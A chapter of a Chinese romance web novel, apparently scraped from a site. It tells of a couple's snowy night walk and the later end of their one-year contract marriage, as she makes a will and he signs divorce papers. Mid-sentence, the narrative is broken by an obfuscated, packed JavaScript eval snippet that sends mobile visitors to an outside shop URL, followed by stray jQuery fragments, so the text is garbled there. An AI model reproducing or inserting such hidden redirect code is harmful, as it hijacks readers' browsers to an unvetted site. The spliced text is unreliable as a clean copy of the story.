下雪了？
唐简压根不信，他就没看向过窗外。
但她还是凑到窗边，眯起眼睛看了看，暗色的天空偶尔落下几粒晶莹的雪，细碎得像雨滴，但又比雨滴轻盈很多，需要眯着眼才能分辨。
就这……
被他一打岔，唐简也没再纠结于冰淇淋，勉强吃了碗某人做的夜宵就上床休息。
不知道睡了多久，后背的抽痛把她叫醒。
唐简漠然睁眼，这段时间偶尔的抽痛她还没习惯，推开放在肚皮上的手，她起身去倒水吃了片止痛药。
放下杯子，她若有所感地扭头看向安静无声的落地窗外。
窗外，大片大片鹅毛似的白雪在黑夜里发光。
唐简快步走到窗边，果不其然，目光所到之处都像是盖了厚厚的白被子。
下大雪了。
这座四季温和轮转的城市居然下雪了。
唐简像是第一次见到雪，激动地跑回房间推了推熟睡的某人，她不信陈至屿在这里看过这么大的雪。
睡相人畜无害的某人慢悠悠握着她的手，用下巴蹭了蹭，声音沙哑，“怎么了？”
唐简语气激动，“外面下了超大的雪，我要下楼！”
下楼？
陈至屿睁开眼看着她的笑脸，好像还没从梦里回过神。
唐简十分好心地拉开窗帘，邀请他一睹这神奇的一幕。
陈至屿倒是很淡定地坐起身，在她的衣帽间里翻了好久。
“找什么呢？”
“找件厚外套。”
十分钟后，唐简摸摸身上的蓬松的羽绒服，很久没穿过这么厚的外套了，这让她感觉自己像个轮胎人。
她看了眼弯腰翻柜子的陈至屿，没有说话。
换好鞋子，唐简满心激动地等电梯。
陈至屿站在她旁边刷手机。
她余光瞥到是熟悉的购物软件界面，“要买什么啊？”
“买厚手套，下次可以玩雪。”
下次下雪不知道是什么时候了，唐简摆摆手，“不用买，我又不玩，就是下楼走一走，踩踩雪。”
“好吧。”
电梯来了，陈至屿收起手机跟她一起进了电梯，低头看她压抑不住内心激动的模样，忍不住想笑。
出门前，他拉着唐简，把她外套帽子戴好，拉链拉到最上面，下半张脸和额头都被遮住，只有一双水亮莹润的杏眼冲他眨了眨。
她闷声催促：“快点吧。”
“好。”
陈至屿收回东整西整的手，拉着她的手朝外走。
冷气裹挟着雪花袭向低声惊呼的人，雪花掉落在衣服上的簌簌声尤为明显。
两人走出小区，唐简抬起头，入眼一片雪白，明亮的路灯下，那些雪花铺天盖地地砸过来，又密又快，远处的建筑已经模糊成灰白色。
凌晨下雪的街道无比安静，没有了平时的车水马龙，此时此刻全世界好像只剩下他们两人携手走在白色里。
眼前的场景无声恢宏，脚下厚厚积雪的路不好走，唐简握紧那只时刻准备拉住她的手。
她迎着落雪往前走，雪花落在眼睫上缓缓融化，像是眼泪一样。
陈至屿侧目看她，她也察觉到了自己的动作，仰头看过来，只能看见一双弯弯的眼睛，眼睫毛都湿透了。
他停下脚步，拿出纸巾擦干她脸上的水。
纸巾吸走水分，眼睛终于能睁大了，唐简的视线从他衣服上融化的雪花挪到他深色的眼眸，正满含温柔笑意看着自己。
大概是冷风吹得头晕，唐简没有犹豫，上前一步环着他的腰，脑袋轻轻靠在他怀里。
她从来没有在外面跟他有除了牵手之外的亲密动作。
陈至屿愣了一下，拿纸巾胡乱擦了擦胸前的水迹，才张开双臂紧紧抱住唐简。
心跳得好快，唐简羞赧地闭了闭眼，不过这些他都看不到。
她抬头，杏眼弯起，“我想堆个小雪人。”
虽然先前说只是下楼走走，但是来都来了。
-
唐简打开冰箱门，一个手掌大小的雪人格外惹眼，上下的身体圆不圆方不方的，很有特色。
一看到它，脑海中就回放她和陈至屿蹲在地上手搓圆形的场景，一边滚雪球一边被冻到嘶嘶哈哈。
很滑稽的一幕啊。
看着傻呆呆的小雪人，她忍不住弯起嘴角。
“唐简，你挑好了么？还要去开会。”
身后传来林璐的催促，她这才回神，随手拿了个香草味的冰淇淋。
扭头就看到林璐满脸不赞同，唐简笑笑，“感冒都好多久了，吃一点点怎么了。”
“等会帮我做杯拿铁呗，就用你给我带的咖啡豆。”她挽着林璐的手臂往门口走。
“……知道了。”
林璐没有家人，过年过节就挑个自己喜欢的地方飞过去待着，每次回来都会带伴手礼。她朋友很少，看来看去也只有唐简一个，起初还以为她见多识广应该不会在乎这些小东西。
直到她看到唐简喜滋滋地吃她包里剩下的在机场买的小饼干。
谁让自己是她的朋友呢？林璐只好在旅途中遇到喜欢的纪念品或者零食都给她带一份。
唐简在书房里特意留了一块磁吸墙，一半是她网购的冰箱贴和小挂件，另一半都是林璐在各地带回来的冰箱贴。
这面不大的墙，概括了她这辈子去过的地方。
“唐总，您需要的资料我已经处理好了。”
唐简转身走到书桌边，拿过律师手里的几页纸翻了一遍，面色平静道：“可以，就按这份来。”
“好的，那明天上午您需要和我去公证处一趟。”律师说话间不动声色地观察她的表情，她还不理解唐总这个年纪是怎么做到这么沉着冷静地立下遗嘱的。
“没问题。”她淡淡地点了点头。
“那我先走了，唐总明天见。”
“明天见。”
律师走出书房，远处餐厅背对着她的男人转过头来，看清她脸的时候露出礼貌客套的笑容。
她眯起眼睛朝对方点点头，这是第二次见到唐总的先生，第一次是他方才端了两杯椰子水到书房。
最近接连大晴天，唐简瞥了一眼窗外的大太阳，出差了几天昨晚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688074|206455||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回家到现在，胸口闷得很厉害，无论天晴或下雨都影响不了她烦闷的心情。
她拿起桌上早已拟好的协议打开门。
陈至屿居家办公的时候就喜欢坐在餐厅的位置，门一打开就能看见扭过头的他。
一看到她，他脸上立刻展露笑意。
唐简移开眼神不去看他，将文件放在他面前。
时间过得很快，昨天就是两人结婚一周年的日子，只是飞机延误，她到家太晚，没有胃口去吃他提前准备的蛋糕。
陈至屿收敛笑意，定定地看着那份协议。
眼前的一幕跟一年前一样。
只不过那次宣告两人缘分的开端，而这次宣告两人或许再不相交的未来。
她的声音清亮却没有起伏，“这一年谢谢你了，你很尽职尽责地完成了协议上的要求，我得到了我要的，你也是。”
陈至屿重复她的话，呐呐道：“我得到了我想要的……”
他如墨的瞳孔看向她没有表情的脸，心绞痛到不知该做出什么样的表情。
他得到了想要的……吗？
应该开心，还是流泪啊。
开头的确是因利而聚，结尾落得一个尽职尽责的赞扬，但那些情愫怎么演得出来呢？
他是人不是机器，血肉中萌生的一切不受代码控制。
但这些，他都说不了。
她的声音传入耳里，“签字吧，晚点钱会转给你的，这段时间辛苦你了，我最近比较忙，离婚手续还要过几天才有空办。”
陈至屿低着头，她看不到他的表情，但她想他或许是开心的，这笔钱对于现在的他来说是笔不菲的收入。
只能听到他低低地应了一声，连内容都匆匆翻过，在最后一页签下了他的名字。
陈至屿第一次在签名中感受到巨大的痛苦，从现在开始，唐简的身边不再需要他了。
几乎是用尽全身力气，他摘下了无名指上的戒指，推到她面前。
他不敢出声，强忍着眼泪，只用行动表达。
幸好唐简是站着的，看不见他的表情，陈至屿不希望在最后，还听到她夸赞自己的尽职尽责。
看着他签完字立马摘下戒指推过来的动作，唐简挑了挑眉，露出淡淡一抹冷笑，“不用这么着急，先放你那里。”
她见过太多形形色色的人，大多数是为了利益，得到想要的立马翻脸的不在少数。
只是这一次，她有点不开心。
她拿回协议，走到书房门口才想起来昨天的蛋糕，“昨天的蛋糕我还没吃。”
他背对着她，叹气似的回道：“那个蛋糕不好吃了，已经扔了。”
“……好吧。”
关门声很轻，陈至屿已经泪流满面，颤抖着拿起那枚戒指重新戴上，用力推到指根。
他不停地深呼吸，想起两人第一次见面，再到领证，和唐简在一起的所有画面。
想到昨天自己亲手做的蛋糕，那个配方有点小问题，过了一晚，口感已经很差了，去处只有垃圾桶。
在他第一次见到她时，在签下协议的那天，他没想过自己最后会变得这么痛苦。